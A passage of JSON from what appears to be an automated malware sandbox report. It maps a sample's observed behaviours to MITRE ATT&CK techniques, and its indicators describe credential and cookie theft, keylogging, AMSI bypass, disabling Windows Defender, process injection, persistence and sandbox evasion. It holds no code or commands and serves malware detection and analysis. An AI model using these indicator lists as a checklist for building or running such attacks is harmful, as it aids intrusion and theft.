string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"PowerShell","attack_id":"T1059.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/001","identifiers":[{"type":"informative","value":"YARA signature match - PowerShell file content"},{"type":"suspicious","value":"Executes powershell with commandline"},{"type":"informative","value":"Observed Powershell command strings"},{"type":"informative","value":"Scripts code detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Executes powershell with commandline"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Inter-Process Communication","attack_id":"T1559","attack_id_wiki":"https://attack.mitre.org/techniques/T1559","identifiers":[{"type":"informative","value":"Found named pipe like strings"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Service Execution","attack_id":"T1569.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1569/002","identifiers":[{"type":"informative","value":"Contains ability to open a service (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Command and Scripting Interpreter","attack_id":"T1059","attack_id_wiki":"https://attack.mitre.org/techniques/T1059","identifiers":[{"type":"informative","value":"Suspicious scripts detected via AMSI (Antimalware Scan Interface)"},{"type":"informative","value":"Executes batch file"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Fails to load modules at runtime"},{"type":"informative","value":"Loads the .NET runtime environment"},{"type":"informative","value":"Loads modules at runtime"},{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Visual Basic","attack_id":"T1059.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/005","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Execution","technique":"Malicious File","attack_id":"T1204.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1204/002","identifiers":[{"type":"malicious","value":"Script file shows a combination of malicious behavior"},{"type":"malicious","value":"Sample was identified as malicious by a trusted antivirus engine"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Contains ability to start a service (API string)"},{"type":"informative","value":"Contains ability to modify system service (API string)"},{"type":"informative","value":"Contains ability to create/modify Windows services (Powershell command string)"},{"type":"informative","value":"Creates or modifies windows services"},{"type":"informative","value":"Contains ability to access device drivers"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Persistence","technique":"Socket Filters","attack_id":"T1205.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1205/002","identifiers":[{"type":"informative","value":"Able to monitor socket connection"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Persistence","technique":"Modify Registry","attack_id":"T1112","attack_id_wiki":"https://attack.mitre.org/techniques/T1112","identifiers":[{"type":"informative","value":"Contains ability to disable/close registry key (API string)"},{"type":"suspicious","value":"Modifies Software Policy Settings"},{"type":"informative","value":"Contains ability to modify registry key/value (API string)"},{"type":"informative","value":"Able to create/load registry keys (API string)"},{"type":"informative","value":"Writes registry keys"},{"type":"informative","value":"Able to delete registry key/value (API string)"},{"type":"informative","value":"Accesses System Certificates Settings"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Persistence","technique":"Boot or Logon Autostart Execution","attack_id":"T1547","attack_id_wiki":"https://attack.mitre.org/techniques/T1547","identifiers":[{"type":"suspicious","value":"Tries to save executable or command in registry"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Persistence","technique":"Registry Run Keys / Startup Folder","attack_id":"T1547.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1547/001","identifiers":[{"type":"suspicious","value":"Modifies auto-execute functionality by setting/creating a value in the registry"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Privilege Escalation","technique":"Process Injection","attack_id":"T1055","attack_id_wiki":"https://attack.mitre.org/techniques/T1055","identifiers":[{"type":"informative","value":"Contains reference to shellcode"},{"type":"informative","value":"Found PE header in memory"},{"type":"informative","value":"Able to inject code into another process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"},{"type":"informative","value":"Able to modify thread functionality – possible hijack (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Privilege Escalation","technique":"Access Token Manipulation","attack_id":"T1134","attack_id_wiki":"https://attack.mitre.org/techniques/T1134","identifiers":[{"type":"informative","value":"Calls an API typically used to enable or disable privileges in the specified access token"},{"type":"informative","value":"Contains ability to retrieve token privileges information (API string)"},{"type":"informative","value":"Contains ability to modify access token privileges (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Privilege Escalation","technique":"Portable Executable Injection","attack_id":"T1055.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/002","identifiers":[{"type":"informative","value":"Attempts remote code execution into another process memory space"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Matched Compiler/Packer signature (DIE)"},{"type":"informative","value":"YARA signature match - RC4 Encryption"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Contains CRYPTO related strings"},{"type":"informative","value":"YARA signature match - RSA algorithm (keys)"},{"type":"informative","value":"Able to utilize the Windows bcrypt cryptographic API"},{"type":"informative","value":"YARA signature match – Encryption algorithm"},{"type":"suspicious","value":"Invokes a process with a long commandline"},{"type":"informative","value":"YARA signature match – ROR algorithm"},{"type":"informative","value":"Contains ability to use Cryptographic classes"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files"},{"type":"informative","value":"Contains ability to delete files/directories (API string)"},{"type":"suspicious","value":"Marks file for deletion"},{"type":"suspicious","value":"Opens file with deletion access rights"},{"type":"informative","value":"Able to delete items (Powershell command string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Timestomp","attack_id":"T1070.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/006","identifiers":[{"type":"informative","value":"Contains ability to retrieve file time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using API string"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Contains ability to decode base64 data"},{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"},{"type":"informative","value":"Contains ability to perform decryption (API string)"},{"type":"suspicious","value":"Ability to hide a payload in the commandline"},{"type":"informative","value":"Able to decrypt/decode data"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Disable or Modify Tools","attack_id":"T1562.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1562/001","identifiers":[{"type":"informative","value":"Loads the AMSI (Antimalware Scan Interface) DLL"},{"type":"informative","value":"Calls GetProcAddress on AmsiScanBuffer function (may used to bypass AMSI)"},{"type":"suspicious","value":"Creates guarded memory regions (anti-debugging trick to avoid memory dumping)"},{"type":"informative","value":"Contains ability to modify PowerShell execution policies (Powershell command string)"},{"type":"informative","value":"Contains ability to disable Windows Defender using PowerShell"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Time Based Evasion","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Hide Artifacts","attack_id":"T1564","attack_id_wiki":"https://attack.mitre.org/techniques/T1564","identifiers":[{"type":"informative","value":"Found virtual disk drive like strings"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"},{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Code Signing Policy Modification","attack_id":"T1553.006","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/006","identifiers":[{"type":"suspicious","value":"Contains ability to disable driver signature enforcement"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"tactic":"Defense Evasion","technique":"Web Session Cookie","attack_id":"T1550.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1550/004","identifiers":[{"type":"informative","value":"Able to access web session cookie"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"suspicious","value":"Observed a high volume of repeated registry API calls (API Hammering)"},{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"},{"type":"informative","value":"Observed a high volume of repeated registry API calls (API Hammering)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"suspicious","value":"Queries kernel debugger information"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"tactic":"Defense Evasion","technique":"Reflective Code Loading","attack_id":"T1620","attack_id_wiki":"https://attack.mitre.org/techniques/T1620","identifiers":[{"type":"informative","value":"Loads the CLR Loader DLL"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Command Obfuscation","attack_id":"T1027.010","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/010","identifiers":[{"type":"suspicious","value":"Able to hide command execution using obfuscation techniques"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"informative","value":"YARA signature match - Medium entropy File"},{"type":"informative","value":"YARA signature match - High entropy file"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"tactic":"Defense Evasion","technique":"Masquerading","attack_id":"T1036","attack_id_wiki":"https://attack.mitre.org/techniques/T1036","identifiers":[{"type":"informative","value":"Drops files inside appdata directory"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"}]},{"tactic":"Credential Access","technique":"Security Account Manager","attack_id":"T1003.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1003/002","identifiers":[{"type":"informative","value":"Able to access system credential hash file"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Credential Access","technique":"Steal or Forge Kerberos Tickets","attack_id":"T1558","attack_id_wiki":"https://attack.mitre.org/techniques/T1558","identifiers":[{"type":"informative","value":"Able to access credential file using Kerberos"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Credential Access","technique":"Credentials from Password Stores","attack_id":"T1555","attack_id_wiki":"https://attack.mitre.org/techniques/T1555","identifiers":[{"type":"informative","value":"Contains string like password/secret"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Credential Access","technique":"Unsecured Credentials","attack_id":"T1552","attack_id_wiki":"https://attack.mitre.org/techniques/T1552","identifiers":[{"type":"informative","value":"Contains ability to search for patterns of text (possibly credentials) in files"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"}]},{"tactic":"Credential Access","technique":"Steal Web Session Cookie","attack_id":"T1539","attack_id_wiki":"https://attack.mitre.org/techniques/T1539","identifiers":[{"type":"informative","value":"Able to retrieve browser cookies data"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Credential Access","technique":"Credentials from Web Browsers","attack_id":"T1555.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1555/003","identifiers":[{"type":"malicious","value":"Attempts to obtain browser login credentials (file access)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Able to list processes on remote desktop session host"},{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Queries basic information of the specified process"},{"type":"informative","value":"References to WMI query strings used for process discovery"},{"type":"informative","value":"Contains ability to retrieve/open a process (API string)"},{"type":"malicious","value":"Spawns a lot of processes"},{"type":"informative","value":"Spawns new processes"},{"type":"informative","value":"Able to enumerate system processes using native API"},{"type":"informative","value":"Queries process information"},{"type":"informative","value":"Process launched with changed environment"},{"type":"informative","value":"Calls an API typically used to determine if process is running under WOW64"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Contains ability to determine if process is running under WOW64 (API string)"},{"type":"informative","value":"Spawns new processes that are not known child processes"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Touches files in the Windows directory"},{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Able to retrieve file and directory information"},{"type":"informative","value":"Tries to access non-existent files (executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"References Windows file paths for DLLs (possible dropped files)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Reads files"},{"type":"informative","value":"Calls an API typically used for searching a directory for files"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Reads the cryptographic machine GUID"},{"type":"informative","value":"Contains reference to mutex-related activity (API string)"},{"type":"informative","value":"Contains ability to retrieve specified item(s) (Powershell command string)"},{"type":"informative","value":"Able to discover operating system information (API string)"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Queries volume information"},{"type":"informative","value":"Contains ability to retrieve environment variable settings"},{"type":"informative","value":"Queries volume information of an entire harddrive"},{"type":"informative","value":"Contains ability to enumerate objects (Powershell command string)"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Calls an API typically used to retrieve OS information"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"References to WMI query strings used for information discovery"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"},{"type":"informative","value":"Able to find string content in a file"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Calls an API typically used to retrieve information about the current system"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Found system command-related strings"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Contains ability to retrieve operating system version"},{"type":"informative","value":"Able to retrieve geographical location information"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"Query Registry","attack_id":"T1012","attack_id_wiki":"https://attack.mitre.org/techniques/T1012","identifiers":[{"type":"informative","value":"Reads Windows Trust Settings"},{"type":"informative","value":"Accesses Software Policy Settings"},{"type":"informative","value":"Queries TCP/IP interface details"},{"type":"informative","value":"Contains registry location strings"},{"type":"informative","value":"Able to query registry keys (API string)"},{"type":"informative","value":"Found registry location strings in memory"},{"type":"informative","value":"Opens registry keys"},{"type":"informative","value":"Queries registry keys"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Network Configuration Discovery","attack_id":"T1016","attack_id_wiki":"https://attack.mitre.org/techniques/T1016","identifiers":[{"type":"malicious","value":"Attempts to identify external IP address"},{"type":"malicious","value":"Reference to an external IP address lookup service identified"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Location Discovery","attack_id":"T1614","attack_id_wiki":"https://attack.mitre.org/techniques/T1614","identifiers":[{"type":"informative","value":"Able to query system locale information (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve local language"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Owner/User Discovery","attack_id":"T1033","attack_id_wiki":"https://attack.mitre.org/techniques/T1033","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve user names for specified SIDs"},{"type":"informative","value":"Calls an API typically used to retrieve account information for specified SID"},{"type":"informative","value":"Calls an API typically used to retrieve user name"},{"type":"informative","value":"Able to query security token membership for user discovery (API string)"},{"type":"informative","value":"Contains ability to retrieve usernames and/or user information (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"Remote System Discovery","attack_id":"T1018","attack_id_wiki":"https://attack.mitre.org/techniques/T1018","identifiers":[{"type":"informative","value":"Able to identify remote systems"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Time Discovery","attack_id":"T1124","attack_id_wiki":"https://attack.mitre.org/techniques/T1124","identifiers":[{"type":"informative","value":"Contains ability to retrieve machine time (API string)"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Language Discovery","attack_id":"T1614.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1614/001","identifiers":[{"type":"informative","value":"Able to retrieve system language (API string)"},{"type":"informative","value":"Reads the windows installation language"}],"sources":[{"report_type":"sandbox","report_id":"68eac00381611856270afe4a"},{"report_type":"sandbox","report_id":"68e8a1339296a742440ab48a"},{"report_type":"sandbox","report_id":"699c8e92c2c3e51b0809ddf4"}]},{"tactic":"Discovery","technique":"System Service Discovery","attack_id":"T1007","attack_id_wiki":"https://attack.mitre.org/techniques/T1007","identifiers":[{"type":"informative","value":"Able to enumerate service (API string)"},{"type":"informative","value":"Queries services related registry 